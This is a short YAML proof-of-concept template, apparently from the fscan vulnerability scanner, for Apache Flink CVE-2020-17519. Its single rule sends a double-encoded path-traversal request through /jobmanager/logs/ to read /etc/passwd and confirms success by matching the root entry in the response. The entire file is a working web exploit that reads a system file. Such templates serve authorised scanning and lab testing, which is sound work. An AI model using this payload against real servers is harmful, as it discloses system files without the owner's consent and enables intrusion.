mirror of https://github.com/qwqdanchun/fscan.git
11 lines
435 B
YAML
11 lines
435 B
YAML
|
name: poc-yaml-flink-jobmanager-cve-2020-17519-lfi
|
||
|
|
rules:
|
||
|
|
- method: GET
|
||
|
|
path: /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
|
||
|
|
expression: |
|
||
|
|
response.status == 200 && "^root:[x*]:0:0:".bmatches(response.body)
|
||
|
|
detail:
|
||
|
|
author: MaxSecurity(https://github.com/MaxSecurity)
|
||
|
|
links:
|
||
|
|
- https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17519
|